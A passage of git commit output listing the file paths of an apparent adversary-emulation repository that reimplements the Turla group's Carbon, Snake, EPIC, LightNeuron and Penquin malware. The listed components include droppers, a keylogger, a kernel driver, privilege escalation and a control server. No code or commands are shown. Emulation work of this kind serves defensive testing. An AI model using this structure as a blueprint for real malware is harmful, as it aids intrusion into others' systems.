turla/Emulation_Plan/Snake_Scenario/Snake_Protections_Scenario.md create mode 100644 turla/Emulation_Plan/yaml/Carbon_Scenario.md create mode 100644 turla/Emulation_Plan/yaml/README.md create mode 100644 turla/Emulation_Plan/yaml/Snake_Scenario.md create mode 100644 turla/Emulation_Plan/yaml/turla_carbon.yaml create mode 100644 turla/Emulation_Plan/yaml/turla_snake.yaml create mode 100644 turla/Hashes/hash_SHA256.txt create mode 100644 turla/Hashes/hash_SHA512.txt create mode 100644 turla/Intelligence_Summary/.gitkeep create mode 100644 turla/Intelligence_Summary/Intelligence_Summary.md create mode 100644 turla/LICENSE create mode 100644 turla/Operations_Flow/.gitkeep create mode 100644 turla/Operations_Flow/Carbon_Operations_Flow.md create mode 100644 turla/Operations_Flow/Snake_Operations_Flow.md create mode 100644 turla/README.md create mode 100644 turla/Resources/Binaries/binaries.zip create mode 100644 turla/Resources/Carbon/CarbonInstaller/.gitignore create mode 100644 turla/Resources/Carbon/CarbonInstaller/Dropper/.gitignore create mode 100644 turla/Resources/Carbon/CarbonInstaller/Dropper/CMakeLists.txt create mode 100644 turla/Resources/Carbon/CarbonInstaller/Dropper/add_resources.py create mode 100644 turla/Resources/Carbon/CarbonInstaller/Dropper/bin/.gitkeep create mode 100644 turla/Resources/Carbon/CarbonInstaller/Dropper/include/file_handler.h create mode 100644 turla/Resources/Carbon/CarbonInstaller/Dropper/include/service_handler.h create mode 100644 turla/Resources/Carbon/CarbonInstaller/Dropper/resources/carbon_dc_config create mode 100644 turla/Resources/Carbon/CarbonInstaller/Dropper/resources/carbon_w1_config create mode 100644 turla/Resources/Carbon/CarbonInstaller/Dropper/resources/carbon_w2_config create mode 100644 turla/Resources/Carbon/CarbonInstaller/Dropper/resources/dummy_comms create mode 100644 turla/Resources/Carbon/CarbonInstaller/Dropper/resources/dummy_orch create mode 100644 turla/Resources/Carbon/CarbonInstaller/Dropper/resources/kali1_config create mode 100644 turla/Resources/Carbon/CarbonInstaller/Dropper/src/CMakeLists.txt create mode 100644 turla/Resources/Carbon/CarbonInstaller/Dropper/src/file_handler.cpp create mode 100644 turla/Resources/Carbon/CarbonInstaller/Dropper/src/main.cpp create mode 100644 turla/Resources/Carbon/CarbonInstaller/Dropper/src/service_handler.cpp create mode 100644 turla/Resources/Carbon/CarbonInstaller/Dropper/tests/dummy_components.cpp create mode 100644 turla/Resources/Carbon/CarbonInstaller/Dropper/tests/file_handler_test.cpp create mode 100644 turla/Resources/Carbon/CarbonInstaller/Dropper/tests/service_handler_test.cpp create mode 100644 turla/Resources/Carbon/CarbonInstaller/DummyOrchestrator/bin/.gitkeep create mode 100644 turla/Resources/Carbon/CarbonInstaller/Loader/CMakeLists.txt create mode 100644 turla/Resources/Carbon/CarbonInstaller/Loader/bin/.gitkeep create mode 100644 turla/Resources/Carbon/CarbonInstaller/Loader/include/service.h create mode 100644 turla/Resources/Carbon/CarbonInstaller/Loader/src/CMakeLists.txt create mode 100644 turla/Resources/Carbon/CarbonInstaller/Loader/src/service.cpp create mode 100644 turla/Resources/Carbon/CarbonInstaller/Loader/tests/service_test.cpp create mode 100644 turla/Resources/Carbon/CarbonInstaller/README.md create mode 100644 turla/Resources/Carbon/CommLib/.gitignore create mode 100644 turla/Resources/Carbon/CommLib/CMakeLists.txt create mode 100644 turla/Resources/Carbon/CommLib/CommLibVersion.h.in create mode 100644 turla/Resources/Carbon/CommLib/README.md create mode 100644 turla/Resources/Carbon/CommLib/bin/.gitkeep create mode 100644 turla/Resources/Carbon/CommLib/decrypt_logs.py create mode 100644 turla/Resources/Carbon/CommLib/include/CommLib.hpp create mode 100644 turla/Resources/Carbon/CommLib/include/Config.hpp create mode 100644 turla/Resources/Carbon/CommLib/include/EncUtils.hpp create mode 100644 turla/Resources/Carbon/CommLib/include/HttpClient.hpp create mode 100644 turla/Resources/Carbon/CommLib/include/Locker.hpp create mode 100644 turla/Resources/Carbon/CommLib/include/Logging.hpp create mode 100644 turla/Resources/Carbon/CommLib/include/NamedPipeP2p.hpp create mode 100644 turla/Resources/Carbon/CommLib/include/Tasks.hpp create mode 100644 turla/Resources/Carbon/CommLib/include/Util.hpp create mode 100644 turla/Resources/Carbon/CommLib/include/WindowsWrappers.hpp create mode 100644 turla/Resources/Carbon/CommLib/include/configFile.h create mode 100644 turla/Resources/Carbon/CommLib/src/CMakeLists.txt create mode 100644 turla/Resources/Carbon/CommLib/src/CommLib.cpp create mode 100644 turla/Resources/Carbon/CommLib/src/EncUtils.cpp create mode 100644 turla/Resources/Carbon/CommLib/src/HttpClient.cpp create mode 100644 turla/Resources/Carbon/CommLib/src/Locker.cpp create mode 100644 turla/Resources/Carbon/CommLib/src/Logging.cpp create mode 100644 turla/Resources/Carbon/CommLib/src/NamedPipeP2p.cpp create mode 100644 turla/Resources/Carbon/CommLib/src/Tasks.cpp create mode 100644 turla/Resources/Carbon/CommLib/src/Util.cpp create mode 100644 turla/Resources/Carbon/CommLib/src/WindowsWrappers.cpp create mode 100644 turla/Resources/Carbon/CommLib/src/configFileUtils.cpp create mode 100644 turla/Resources/Carbon/CommLib/src/dllmain.cpp create mode 100644 turla/Resources/Carbon/CommLib/test/commlib_test.cc create mode 100644 turla/Resources/Carbon/CommLib/test/dummyConfigFile.txt create mode 100644 turla/Resources/Carbon/CommLib/test/enc_utils_test.cc create mode 100644 turla/Resources/Carbon/CommLib/test/http_test.cc create mode 100644 turla/Resources/Carbon/CommLib/test/logging_test.cpp create mode 100644 turla/Resources/Carbon/CommLib/test/named_pipe_p2p_test.cc create mode 100644 turla/Resources/Carbon/CommLib/test/tasks_test.cc create mode 100644 turla/Resources/Carbon/CommLib/test/testing.h create mode 100644 turla/Resources/Carbon/CommLib/test/testingUtils.cpp create mode 100644 turla/Resources/Carbon/CommLib/test/utils_test.cc create mode 100644 turla/Resources/Carbon/CommLib/vcpkg.json create mode 100644 turla/Resources/Carbon/Orchestrator/.gitignore create mode 100644 turla/Resources/Carbon/Orchestrator/CMakeLists.txt create mode 100644 turla/Resources/Carbon/Orchestrator/OrchestratorVersion.h.in create mode 100644 turla/Resources/Carbon/Orchestrator/README.md create mode 100644 turla/Resources/Carbon/Orchestrator/bin/configPlainText.xml create mode 100644 turla/Resources/Carbon/Orchestrator/bin/setuplst.xml create mode 100644 turla/Resources/Carbon/Orchestrator/build.ps1 create mode 100644 turla/Resources/Carbon/Orchestrator/include/config_encrypt.h create mode 100644 turla/Resources/Carbon/Orchestrator/include/enc_handler.h create mode 100644 turla/Resources/Carbon/Orchestrator/include/injection.h create mode 100644 turla/Resources/Carbon/Orchestrator/include/locker.h create mode 100644 turla/Resources/Carbon/Orchestrator/include/mutex.h create mode 100644 turla/Resources/Carbon/Orchestrator/include/orchestrator.h create mode 100644 turla/Resources/Carbon/Orchestrator/include/tasking.h create mode 100644 turla/Resources/Carbon/Orchestrator/include/util.h create mode 100644 turla/Resources/Carbon/Orchestrator/output-itest.ps1 create mode 100644 turla/Resources/Carbon/Orchestrator/src/CMakeLists.txt create mode 100644 turla/Resources/Carbon/Orchestrator/src/enc_handler.cpp create mode 100644 turla/Resources/Carbon/Orchestrator/src/injection.cpp create mode 100644 turla/Resources/Carbon/Orchestrator/src/locker.cpp create mode 100644 turla/Resources/Carbon/Orchestrator/src/main.cpp create mode 100644 turla/Resources/Carbon/Orchestrator/src/mutex.cpp create mode 100644 turla/Resources/Carbon/Orchestrator/src/orchestrator.cpp create mode 100644 turla/Resources/Carbon/Orchestrator/src/tasking.cpp create mode 100644 turla/Resources/Carbon/Orchestrator/src/util.cpp create mode 100644 turla/Resources/Carbon/Orchestrator/test/castDecrypt.cpp create mode 100644 turla/Resources/Carbon/Orchestrator/test/config_encrypt.cpp create mode 100644 turla/Resources/Carbon/Orchestrator/test/dllspawnnp.cpp create mode 100644 turla/Resources/Carbon/Orchestrator/test/testdllrunner.cpp create mode 100644 turla/Resources/Carbon/README.md create mode 100644 turla/Resources/EPIC/Defense-Evasion/DLL_Test/DLL_Test.sln create mode 100644 turla/Resources/EPIC/Defense-Evasion/DLL_Test/DLL_Test/DLL_Test.vcxproj create mode 100644 turla/Resources/EPIC/Defense-Evasion/DLL_Test/DLL_Test/DLL_Test.vcxproj.filters create mode 100644 turla/Resources/EPIC/Defense-Evasion/DLL_Test/DLL_Test/DLL_Test.vcxproj.user create mode 100644 turla/Resources/EPIC/Defense-Evasion/DLL_Test/DLL_Test/Source.cpp create mode 100644 turla/Resources/EPIC/Defense-Evasion/reflective-guard/DLL_Run/DLL_Run.vcxproj create mode 100644 turla/Resources/EPIC/Defense-Evasion/reflective-guard/DLL_Run/Main.cpp create mode 100644 turla/Resources/EPIC/Defense-Evasion/reflective-guard/Intermediary.sln create mode 100644 turla/Resources/EPIC/Defense-Evasion/reflective-guard/reflective-guard/README.md create mode 100644 turla/Resources/EPIC/Defense-Evasion/reflective-guard/reflective-guard/Resource.rc create mode 100644 turla/Resources/EPIC/Defense-Evasion/reflective-guard/reflective-guard/bin/.gitkeep create mode 100644 turla/Resources/EPIC/Defense-Evasion/reflective-guard/reflective-guard/dllmain.cpp create mode 100644 turla/Resources/EPIC/Defense-Evasion/reflective-guard/reflective-guard/reflective-guard.vcxproj create mode 100644 turla/Resources/EPIC/Defense-Evasion/reflective-guard/reflective-guard/resource.h create mode 100644 turla/Resources/EPIC/Defense-Evasion/reflective_injector/Primary.sln create mode 100644 turla/Resources/EPIC/Defense-Evasion/reflective_injector/reflective_injector/README.md create mode 100644 turla/Resources/EPIC/Defense-Evasion/reflective_injector/reflective_injector/Resource.rc create mode 100644 turla/Resources/EPIC/Defense-Evasion/reflective_injector/reflective_injector/Source.cpp create mode 100644 turla/Resources/EPIC/Defense-Evasion/reflective_injector/reflective_injector/bin/.gitkeep create mode 100644 turla/Resources/EPIC/Defense-Evasion/reflective_injector/reflective_injector/reflective_injector.vcxproj create mode 100644 turla/Resources/EPIC/Defense-Evasion/reflective_injector/reflective_injector/reflective_injector.vcxproj.filters create mode 100644 turla/Resources/EPIC/Defense-Evasion/reflective_injector/reflective_injector/reflective_injector.vcxproj.user create mode 100644 turla/Resources/EPIC/Defense-Evasion/reflective_injector/reflective_injector/resource.h create mode 100644 turla/Resources/EPIC/README.md create mode 100644 turla/Resources/EPIC/SimpleDropper/SimpleDropper.sln create mode 100644 turla/Resources/EPIC/SimpleDropper/SimpleDropper/README.md create mode 100644 turla/Resources/EPIC/SimpleDropper/SimpleDropper/SimpleDropper.rc create mode 100644 turla/Resources/EPIC/SimpleDropper/SimpleDropper/SimpleDropper.vcxproj create mode 100644 turla/Resources/EPIC/SimpleDropper/SimpleDropper/Source.cpp create mode 100644 turla/Resources/EPIC/SimpleDropper/SimpleDropper/bin/.gitkeep create mode 100644 turla/Resources/EPIC/SimpleDropper/SimpleDropper/resource.h create mode 100644 turla/Resources/EPIC/buildall.ps1 create mode 100644 turla/Resources/EPIC/payload/.gitignore create mode 100644 turla/Resources/EPIC/payload/CMakeLists.txt create mode 100644 turla/Resources/EPIC/payload/CMakePresets.json create mode 100644 turla/Resources/EPIC/payload/README.md create mode 100644 turla/Resources/EPIC/payload/bin/.gitkeep create mode 100644 turla/Resources/EPIC/payload/include/base64_y.h create mode 100644 turla/Resources/EPIC/payload/include/comms.h create mode 100644 turla/Resources/EPIC/payload/include/epic.h create mode 100644 turla/Resources/EPIC/payload/include/file_ops.h create mode 100644 turla/Resources/EPIC/payload/include/instruction.h create mode 100644 turla/Resources/EPIC/payload/src/CMakeLists.txt create mode 100644 turla/Resources/EPIC/payload/src/base64_y.cpp create mode 100644 turla/Resources/EPIC/payload/src/comms.cpp create mode 100644 turla/Resources/EPIC/payload/src/epic.cpp create mode 100644 turla/Resources/EPIC/payload/src/file_ops.cpp create mode 100644 turla/Resources/EPIC/payload/tests/comms_test.cpp create mode 100644 turla/Resources/EPIC/payload/vcpkg.json create mode 100644 turla/Resources/Images/CarbonInfrastructure.png create mode 100644 turla/Resources/Images/CarbonOpsFlow.png create mode 100644 turla/Resources/Images/CarbonSoftwareDiagram.png create mode 100644 turla/Resources/Images/SnakeInfrastructure.png create mode 100644 turla/Resources/Images/SnakeOpsFlow.png create mode 100644 turla/Resources/Images/SnakeSoftwareDiagram.png create mode 100644 turla/Resources/Keylogger/Keylogger/Keylogger.sln create mode 100644 turla/Resources/Keylogger/Keylogger/Keylogger/Keylogger.vcxproj create mode 100644 turla/Resources/Keylogger/Keylogger/Keylogger/Keylogger.vcxproj.filters create mode 100644 turla/Resources/Keylogger/Keylogger/Keylogger/keylogger.cpp create mode 100644 turla/Resources/Keylogger/Keylogger/bin/.gitkeep create mode 100644 turla/Resources/Keylogger/README.md create mode 100644 turla/Resources/LightNeuron/CompanionDLL/.gitignore create mode 100644 turla/Resources/LightNeuron/CompanionDLL/CMakeLists.txt create mode 100644 turla/Resources/LightNeuron/CompanionDLL/data/rules.xml create mode 100644 turla/Resources/LightNeuron/CompanionDLL/data/winmail.dat create mode 100644 turla/Resources/LightNeuron/CompanionDLL/include/base64.h create mode 100644 turla/Resources/LightNeuron/CompanionDLL/include/exdbdata.h create mode 100644 turla/Resources/LightNeuron/CompanionDLL/include/pugiconfig.hpp create mode 100644 turla/Resources/LightNeuron/CompanionDLL/include/pugixml.hpp create mode 100644 turla/Resources/LightNeuron/CompanionDLL/include/stego.h create mode 100644 turla/Resources/LightNeuron/CompanionDLL/src/CMakeLists.txt create mode 100644 turla/Resources/LightNeuron/CompanionDLL/src/base64.cpp create mode 100644 turla/Resources/LightNeuron/CompanionDLL/src/exdbdata.cpp create mode 100644 turla/Resources/LightNeuron/CompanionDLL/src/pugixml.cpp create mode 100644 turla/Resources/LightNeuron/CompanionDLL/src/rules.xml create mode 100644 turla/Resources/LightNeuron/CompanionDLL/src/stego.cpp create mode 100644 turla/Resources/LightNeuron/CompanionDLL/tests/snake_extract_64.txt create mode 100644 turla/Resources/LightNeuron/CompanionDLL/tests/tests.cpp create mode 100644 turla/Resources/LightNeuron/CompanionDLL/tests/winmail.dat create mode 100644 turla/Resources/LightNeuron/CompanionDLL/util/analyze_image.cpp create mode 100644 turla/Resources/LightNeuron/CompanionDLL/vcpkg.json create mode 100644 turla/Resources/LightNeuron/README.md create mode 100644 turla/Resources/LightNeuron/TransportAgent/.gitignore create mode 100644 turla/Resources/LightNeuron/TransportAgent/Microsoft.Exchange.Transport.Agent.ConnectionFiltering.Tests/ConnectionFilteringAgentTests.ps1 create mode 100644 turla/Resources/LightNeuron/TransportAgent/Microsoft.Exchange.Transport.Agent.ConnectionFiltering.Tests/Microsoft.Exchange.Transport.Agent.ConnectionFiltering.Tests.csproj create mode 100644 turla/Resources/LightNeuron/TransportAgent/Microsoft.Exchange.Transport.Agent.ConnectionFiltering.Tests/TestIngestStruct/CMakeLists.txt create mode 100644 turla/Resources/LightNeuron/TransportAgent/Microsoft.Exchange.Transport.Agent.ConnectionFiltering.Tests/TestIngestStruct/CMakePresets.json create mode 100644 turla/Resources/LightNeuron/TransportAgent/Microsoft.Exchange.Transport.Agent.ConnectionFiltering.Tests/TestIngestStruct/TestIngestStruct.cpp create mode 100644 turla/Resources/LightNeuron/TransportAgent/Microsoft.Exchange.Transport.Agent.ConnectionFiltering.Tests/TestIngestStruct/TestIngestStruct.h create mode 100644 turla/Resources/LightNeuron/TransportAgent/Microsoft.Exchange.Transport.Agent.ConnectionFiltering.Tests/msiex_test.ps1 create mode 100644 turla/Resources/LightNeuron/TransportAgent/Microsoft.Exchange.Transport.Agent.ConnectionFiltering.Tests/snake2_hat.jpg create mode 100644 turla/Resources/LightNeuron/TransportAgent/Microsoft.Exchange.Transport.Agent.ConnectionFiltering.Tests/uninstall-transport-agent.ps1 create mode 100644 turla/Resources/LightNeuron/TransportAgent/Microsoft.Exchange.Transport.Agent.ConnectionFiltering/ConnectionFilteringAgent.cs create mode 100644 turla/Resources/LightNeuron/TransportAgent/Microsoft.Exchange.Transport.Agent.ConnectionFiltering/Microsoft.Exchange.Transport.Agent.ConnectionFiltering.csproj create mode 100644 turla/Resources/LightNeuron/TransportAgent/TransportAgent.sln create mode 100644 turla/Resources/LightNeuron/msiex.ps1 create mode 100644 turla/Resources/LightNeuron/setup.ps1 create mode 100644 turla/Resources/Mimikatz/README.md create mode 100644 turla/Resources/Penquin/README.md create mode 100755 turla/Resources/Penquin/build_Penquin.sh create mode 100644 turla/Resources/Penquin/crypt.h create mode 100755 turla/Resources/Penquin/execution_penquin_test.sh create mode 100644 turla/Resources/Penquin/main.c create mode 100644 turla/Resources/Penquin/requirements.txt create mode 100644 turla/Resources/Penquin/sendPacket.py create mode 100644 turla/Resources/Penquin/sniff.c create mode 100644 turla/Resources/Snake/.gitignore create mode 100644 turla/Resources/Snake/README.md create mode 100644 turla/Resources/Snake/SnakeDriver/README.md create mode 100644 turla/Resources/Snake/SnakeDriver/SnakeDriver.sln create mode 100644 turla/Resources/Snake/SnakeDriver/SnakeDriver/SnakeDriver.inf create mode 100644 turla/Resources/Snake/SnakeDriver/SnakeDriver/SnakeDriver.vcxproj create mode 100644 turla/Resources/Snake/SnakeDriver/SnakeDriver/SnakeDriver.vcxproj.filters create mode 100644 turla/Resources/Snake/SnakeDriver/SnakeDriver/apc.cpp create mode 100644 turla/Resources/Snake/SnakeDriver/SnakeDriver/apc.hpp create mode 100644 turla/Resources/Snake/SnakeDriver/SnakeDriver/attach.cpp create mode 100644 turla/Resources/Snake/SnakeDriver/SnakeDriver/attach.hpp create mode 100644 turla/Resources/Snake/SnakeDriver/SnakeDriver/common.cpp create mode 100644 turla/Resources/Snake/SnakeDriver/SnakeDriver/common.hpp create mode 100644 turla/Resources/Snake/SnakeDriver/SnakeDriver/driver.c create mode 100644 turla/Resources/Snake/SnakeDriver/SnakeDriver/driver.h create mode 100644 turla/Resources/Snake/SnakeDriver/SnakeDriver/filesystem.cpp create mode 100644 turla/Resources/Snake/SnakeDriver/SnakeDriver/filesystem.hpp create mode 100644 turla/Resources/Snake/SnakeDriver/SnakeDriver/hooks.c create mode 100644 turla/Resources/Snake/SnakeDriver/SnakeDriver/hooks.h create mode 100644 turla/Resources/Snake/SnakeDriver/SnakeDriver/inject.cpp create mode 100644 turla/Resources/Snake/SnakeDriver/SnakeDriver/inject.hpp create mode 100644 turla/Resources/Snake/SnakeDriver/SnakeDriver/payload.hpp create mode 100644 turla/Resources/Snake/SnakeDriver/SnakeDriver/pe.cpp create mode 100644 turla/Resources/Snake/SnakeDriver/SnakeDriver/pe.hpp create mode 100644 turla/Resources/Snake/SnakeDriver/SnakeDriver/pidlookup.c create mode 100644 turla/Resources/Snake/SnakeDriver/SnakeDriver/pidlookup.h create mode 100644 turla/Resources/Snake/SnakeDriver/SnakeDriver/process.cpp create mode 100644 turla/Resources/Snake/SnakeDriver/SnakeDriver/process.hpp create mode 100644 turla/Resources/Snake/SnakeDriver/SnakeDriver/wfp.cpp create mode 100644 turla/Resources/Snake/SnakeDriver/SnakeDriver/wfp.hpp create mode 100644 turla/Resources/Snake/SnakeDriver/SnakeTester/SnakeTester.cpp create mode 100644 turla/Resources/Snake/SnakeDriver/SnakeTester/SnakeTester.vcxproj create mode 100644 turla/Resources/Snake/SnakeDriver/SnakeTester/SnakeTester.vcxproj.filters create mode 100644 turla/Resources/Snake/SnakeDriver/libinfinityhook/README.md create mode 100644 turla/Resources/Snake/SnakeDriver/libinfinityhook/hde/hde64.cpp create mode 100644 turla/Resources/Snake/SnakeDriver/libinfinityhook/hde/hde64.h create mode 100644 turla/Resources/Snake/SnakeDriver/libinfinityhook/hde/pstdint.h create mode 100644 turla/Resources/Snake/SnakeDriver/libinfinityhook/hde/table64.h create mode 100644 turla/Resources/Snake/SnakeDriver/libinfinityhook/img.cpp create mode 100644 turla/Resources/Snake/SnakeDriver/libinfinityhook/img.h create mode 100644 turla/Resources/Snake/SnakeDriver/libinfinityhook/infinityhook.cpp create mode 100644 turla/Resources/Snake/SnakeDriver/libinfinityhook/infinityhook.h create mode 100644 turla/Resources/Snake/SnakeDriver/libinfinityhook/libinfinityhook.vcxproj create mode 100644 turla/Resources/Snake/SnakeDriver/libinfinityhook/libinfinityhook.vcxproj.filters create mode 100644 turla/Resources/Snake/SnakeDriver/libinfinityhook/mm.cpp create mode 100644 turla/Resources/Snake/SnakeDriver/libinfinityhook/mm.h create mode 100644 turla/Resources/Snake/SnakeDriver/libinfinityhook/ntint.h create mode 100644 turla/Resources/Snake/SnakeDriver/libinfinityhook/stdafx.cpp create mode 100644 turla/Resources/Snake/SnakeDriver/libinfinityhook/stdafx.h create mode 100644 turla/Resources/Snake/SnakeDriver/run_driver.ps1 create mode 100644 turla/Resources/Snake/SnakeDriver/test_driver.ps1 create mode 100644 turla/Resources/Snake/SnakeInstaller/.gitignore create mode 100644 turla/Resources/Snake/SnakeInstaller/CMakeLists.txt create mode 100644 turla/Resources/Snake/SnakeInstaller/CMakePresets.json create mode 100644 turla/Resources/Snake/SnakeInstaller/README.md create mode 100644 turla/Resources/Snake/SnakeInstaller/data/.gitkeep create mode 100644 turla/Resources/Snake/SnakeInstaller/external/hde64/hde64.c create mode 100644 turla/Resources/Snake/SnakeInstaller/external/hde64/hde64.h create mode 100644 turla/Resources/Snake/SnakeInstaller/external/hde64/table64.h create mode 100644 turla/Resources/Snake/SnakeInstaller/src/CMakeLists.txt create mode 100644 turla/Resources/Snake/SnakeInstaller/src/ci/ci.cpp create mode 100644 turla/Resources/Snake/SnakeInstaller/src/ci/ci.hpp create mode 100644 turla/Resources/Snake/SnakeInstaller/src/ci/nt.cpp create mode 100644 turla/Resources/Snake/SnakeInstaller/src/ci/nt.hpp create mode 100644 turla/Resources/Snake/SnakeInstaller/src/common/error.cpp create mode 100644 turla/Resources/Snake/SnakeInstaller/src/common/error.hpp create mode 100644 turla/Resources/Snake/SnakeInstaller/src/common/handle.hpp create mode 100644 turla/Resources/Snake/SnakeInstaller/src/common/string.cpp create mode 100644 turla/Resources/Snake/SnakeInstaller/src/common/string.hpp create mode 100644 turla/Resources/Snake/SnakeInstaller/src/driver/driver.cpp create mode 100644 turla/Resources/Snake/SnakeInstaller/src/driver/driver.hpp create mode 100644 turla/Resources/Snake/SnakeInstaller/src/driver/gb.hpp create mode 100644 turla/Resources/Snake/SnakeInstaller/src/main.cpp create mode 100644 turla/Resources/Snake/SnakeInstaller/src/privesc/privesc.cpp create mode 100644 turla/Resources/Snake/SnakeInstaller/src/privesc/privesc.hpp create mode 100644 turla/Resources/Snake/SnakeInstaller/src/resource/resource.cpp create mode 100644 turla/Resources/Snake/SnakeInstaller/src/resource/resource.hpp create mode 100644 turla/Resources/Snake/SnakeInstaller/src/resource/resource.rc create mode 100644 turla/Resources/Snake/SnakeInstaller/src/resource/resources.hpp create mode 100644 turla/Resources/Snake/SnakeInstaller/tools/launch.vs.json create mode 100644 turla/Resources/Snake/SnakeInstaller/vcpkg.json create mode 100644 turla/Resources/Snake/UserModule/.gitignore create mode 100644 turla/Resources/Snake/UserModule/CMakeLists.txt create mode 100644 turla/Resources/Snake/UserModule/README.md create mode 100644 turla/Resources/Snake/UserModule/include/api_wrappers.h create mode 100644 turla/Resources/Snake/UserModule/include/comms_http.h create mode 100644 turla/Resources/Snake/UserModule/include/comms_pipe.h create mode 100644 turla/Resources/Snake/UserModule/include/core.h create mode 100644 turla/Resources/Snake/UserModule/include/enc_handler.h create mode 100644 turla/Resources/Snake/UserModule/include/execute.h create mode 100644 turla/Resources/Snake/UserModule/include/file_handler.h create mode 100644 turla/Resources/Snake/UserModule/include/instruction.h create mode 100644 turla/Resources/Snake/UserModule/include/logging.h create mode 100644 turla/Resources/Snake/UserModule/include/usermodule_errors.h create mode 100644 turla/Resources/Snake/UserModule/include/util.h create mode 100644 turla/Resources/Snake/UserModule/src/CMakeLists.txt create mode 100644 turla/Resources/Snake/UserModule/src/api_wrappers.cpp create mode 100644 turla/Resources/Snake/UserModule/src/comms_http.cpp create mode 100644 turla/Resources/Snake/UserModule/src/comms_pipe.cpp create mode 100644 turla/Resources/Snake/UserModule/src/core.cpp create mode 100644 turla/Resources/Snake/UserModule/src/dllmain.cpp create mode 100644 turla/Resources/Snake/UserModule/src/enc_handler.cpp create mode 100644 turla/Resources/Snake/UserModule/src/execute.cpp create mode 100644 turla/Resources/Snake/UserModule/src/execute_token.cpp create mode 100644 turla/Resources/Snake/UserModule/src/file_handler.cpp create mode 100644 turla/Resources/Snake/UserModule/src/instruction.cpp create mode 100644 turla/Resources/Snake/UserModule/src/logging.cpp create mode 100644 turla/Resources/Snake/UserModule/src/util.cpp create mode 100644 turla/Resources/Snake/UserModule/tests/comms_http_test.cpp create mode 100644 turla/Resources/Snake/UserModule/tests/comms_pipe_test.cpp create mode 100644 turla/Resources/Snake/UserModule/tests/core_test.cpp create mode 100644 turla/Resources/Snake/UserModule/tests/enc_handler_test.cpp create mode 100644 turla/Resources/Snake/UserModule/tests/execute_test.cpp create mode 100644 turla/Resources/Snake/UserModule/tests/instruction_test.cpp create mode 100644 turla/Resources/Snake/UserModule/tests/logging_test.cpp create mode 100644 turla/Resources/Snake/UserModule/tests/test_util.h create mode 100644 turla/Resources/Snake/UserModule/tests/util_test.cpp create mode 100644 turla/Resources/Snake/build_installer.bat create mode 100644 turla/Resources/Snake/buildall.ps1 create mode 100644 turla/Resources/Snake/cleanup.ps1 create mode 100644 turla/Resources/Snake/gen_h_file.py create mode 100644 turla/Resources/caldera_port/send-email-to-egle.ps1 create mode 100644 turla/Resources/caldera_port/send-email-to-zilvinas.ps1 create mode 100644 turla/Resources/cleanup/Carbon/carbon_cleanup.ps1 create mode 100644 turla/Resources/cleanup/EPIC/epic_cleanup.ps1 create mode 100644 turla/Resources/cleanup/LightNeuron/lightneuron_cleanup.ps1 create mode 100755 turla/Resources/cleanup/Penquin/cleanup_penquin.sh create mode 100644 turla/Resources/cleanup/README.md create mode 100644 turla/Resources/cleanup/Snake/.gitkeep create mode 100644 turla/Resources/cleanup/Snake/snake_cleanup.ps1 create mode 100644 turla/Resources/control_server/LICENSE create mode 100644 turla/Resources/control_server/Makefile create mode 100644 turla/Resources/control_server/README.md create mode 100644 turla/Resources/control_server/config/config.go create mode 100644 turla/Resources/control_server/config/config_test.go create mode 100644 turla/Resources/control_server/config/handler_config.yml create mode 100644 turla/Resources/control_server/config/restAPI_config.yml create mode 100644 turla/Resources/control_server/config/test_config.yml create mode 100644 turla/Resources/control_server/config/turla_day1.yml create mode 100644 turla/Resources/control_server/config/turla_day2.yml create mode 100644 turla/Resources/control_server/display/display.go create mode 100644 turla/Resources/control_server/display/display_test.go create mode 100755 turla/Resources/control_server/evalsC2client.py create mode 100755 turla/Resources/control_server/exampleImplant.py create mode 100644 turla/Resources/control_server/files/.gitkeep create mode 100644 turla/Resources/control_server/go.mod create mode 100644 turla/Resources/control_server/go.sum create mode 100644 turla/Resources/control_server/handlers/HandlerCreationGuide.md create mode 100644 turla/Resources/control_server/handlers/carbon/README.md create mode 100644 turla/Resources/control_server/handlers/carbon/carbon_crypto.go create mode 100644 turla/Resources/control_server/handlers/carbon/carbon_crypto_test.go create mode 100644 turla/Resources/control_server/handlers/carbon/carbon_http.go create mode 100644 turla/Resources/control_server/handlers/carbon/carbon_http_test.go create mode 100644 turla/Resources/control_server/handlers/epic/README.md create mode 100644 turla/Resources/control_server/handlers/epic/command_buffer.go create mode 100644 turla/Resources/control_server/handlers/epic/command_buffer_test.go create mode 100644 turla/Resources/control_server/handlers/epic/data_transform.go create mode 100644 turla/Resources/control_server/handlers/epic/data_transform_test.go create mode 100644 turla/Resources/control_server/handlers/epic/epic.go create mode 100644 turla/Resources/control_server/handlers/epic/epic_test.go create mode 100644 turla/Resources/control_server/handlers/epic/templates/home.html create mode 100644 turla/Resources/control_server/handlers/handlers.go create mode 100644 turla/Resources/control_server/handlers/handlers_test.go create mode 100644 turla/Resources/control_server/handlers/lightneuron/README.md create mode 100644 turla/Resources/control_server/handlers/lightneuron/extract/.gitkeep create mode 100644 turla/Resources/control_server/handlers/lightneuron/lightneuron.go create mode 100644 turla/Resources/control_server/handlers/lightneuron/lightneuron_test.go create mode 100644 turla/Resources/control_server/handlers/lightneuron/recipients.txt create mode 100644 turla/Resources/control_server/handlers/lightneuron/snake.jpg create mode 100644 turla/Resources/control_server/handlers/lightneuron/snake_extract.jpg create mode 100644 turla/Resources/control_server/handlers/lightneuron/snake_modified.jpg create mode 100644 turla/Resources/control_server/handlers/snake/README.md create mode 100644 turla/Resources/control_server/handlers/snake/decrypt_logs.py create mode 100644 turla/Resources/control_server/handlers/snake/snake_http.go create mode 100644 turla/Resources/control_server/handlers/snake/snake_http_test.go create mode 100644 turla/Resources/control_server/handlers/util/util.go create mode 100644 turla/Resources/control_server/handlers/util/util_test.go create mode 100644 turla/Resources/control_server/logger/logger.go create mode 100644 turla/Resources/control_server/logger/logger_test.go create mode 100644 turla/Resources/control_server/main.go create mode 100644 turla/Resources/control_server/requirements.txt create mode 100644 turla/Resources/control_server/restapi/restapi.go create mode 100644 turla/Resources/control_server/restapi/restapi_test.go create mode 100644 turla/Resources/control_server/restapi/util/restapi_util.go create mode 100644 turla/Resources/control_server/sessions/sessions.go create mode 100644 turla/Resources/control_server/sessions/sessions_test.go create mode 100644 turla/Resources/control_server/sslcerts/sslcerts.go create mode 100644 turla/Resources/control_server/tasks/tasks.go create mode 100644 turla/Resources/control_server/tasks/tasks_test.go create mode 100644 turla/Resources/control_server/test_payloads/carbon/examplepayload.txt create mode 100644 turla/Resources/control_server/test_payloads/epic/hello_world.elf create mode 100644 turla/Resources/control_server/test_payloads/hello_world.elf create mode 100644 turla/Resources/control_server/test_payloads/snake/test_payload create mode 100644 turla/Resources/control_server/test_utils/test_utils.go create mode 100644 